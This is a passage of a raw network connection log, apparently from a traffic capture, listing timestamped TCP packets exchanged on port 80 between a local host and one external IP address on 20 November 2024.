Nov 20, 2024 00:19:03.651506901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.651515007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.651521921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.651552916 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.651573896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.651585102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.651597023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.651607990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.651635885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.651667118 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.651724100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.651736021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.651746988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.651757956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.651768923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.651779890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.651788950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.651792049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.651803970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.651810884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.651828051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.651856899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.651957035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.651968956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.651979923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.651990891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.652004004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.652008057 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.652040005 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.652076960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.652108908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.652124882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.652136087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.652147055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.652159929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.652168036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.652204037 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.652204990 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.652218103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.652230978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.652283907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.652283907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.706799030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.706826925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.706837893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.706931114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.706933975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.706947088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.706958055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.706989050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.707000017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.707010984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.707091093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.707091093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.707091093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.707232952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.707245111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.707257986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.707268000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.707271099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.707281113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.707290888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.707290888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.707309961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.707346916 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.707346916 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.707366943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.737900019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.737963915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.737973928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.738071918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.738081932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.738090038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.738100052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.738111019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.738121986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.738121986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.738163948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.738163948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.738269091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.738280058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.738290071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.738301039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.738312006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.738343954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.738377094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.738414049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.738441944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.738451004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.738503933 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.738533020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.738543034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.738552094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.738581896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.738614082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.738636971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.738646984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.738656044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.738688946 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.738689899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.738881111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.738889933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.738902092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.738913059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.738923073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.738933086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.738933086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.738945961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.738959074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.738959074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.738996983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.739047050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739058018 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739067078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739077091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739087105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739098072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739099979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.739109993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739120960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739126921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.739126921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.739160061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.739191055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.739388943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739402056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739412069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739422083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739433050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739442110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.739444017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739458084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739461899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.739480019 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.739511967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.739567995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739579916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739590883 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739602089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739613056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739624977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.739634037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739646912 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.739685059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.739685059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.739842892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739851952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739864111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739873886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739885092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739890099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739896059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739908934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739921093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.739921093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.739945889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.739974976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.740209103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.740221024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.740231037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.740242004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.740252018 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.740262985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.740266085 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.740274906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.740286112 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.740288019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.740300894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.740310907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.740314007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.740314007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.740324974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.740339994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.740380049 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.740487099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.740535021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.740567923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.740580082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.740591049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.740628004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.740659952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.768773079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.768798113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.768809080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.768851995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.768927097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.768939972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.768949986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.768949986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.768995047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.768996000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.769011021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.769016981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.769036055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.769063950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.769063950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.769081116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.769113064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.769145966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.769159079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.769171000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.769181967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.769191980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.769201994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.769237995 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.769270897 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.769318104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.769356012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.769399881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.769404888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.769412041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.769423962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.769450903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.769483089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.769567966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.769577980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.769583941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.769588947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.769598961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.769608974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.769628048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.769676924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.769759893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.769779921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.769790888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.769798994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.769807100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.769809961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.769840956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.769874096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.800626993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.800637960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.800647974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.800760984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.800770998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.800823927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.800834894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.800844908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.800856113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.800900936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.800900936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.800900936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.800900936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.800952911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.800990105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.801001072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.801012993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.801023960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.801052094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.801062107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.801076889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.801120996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.831820011 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.831855059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.831864119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.831953049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.831963062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.831973076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.831984043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.832004070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.832060099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.832070112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.832123041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.832133055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.832216024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.832226038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.832236052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.832293034 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.832293034 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.832293034 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.832293034 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.832293034 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.832293034 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.832293034 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.832402945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.832412958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.832422972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.832432985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.832441092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.832452059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.832483053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.832547903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.832559109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.832568884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.832575083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.832585096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.832602978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.832616091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.832698107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.832710028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.832752943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.832782030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.832792997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.832802057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.832812071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.832827091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.832832098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.832839966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.832851887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.832860947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.832896948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.832897902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.833132029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.833147049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.833157063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.833164930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.833174944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.833184958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.833188057 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.833197117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.833208084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.833209991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.833220005 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.833230972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.833266020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.833266020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.833508015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.833518982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.833528042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.833543062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.833554029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.833563089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.833565950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.833575010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.833586931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.833589077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.833600044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.833616018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.833616018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.833648920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.833766937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.833777905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.833822012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:03.833928108 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.833944082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.833954096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.833956957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.833964109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.833973885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:03.833983898 CET	80	49704	185.215.113.206	192.168.2.5
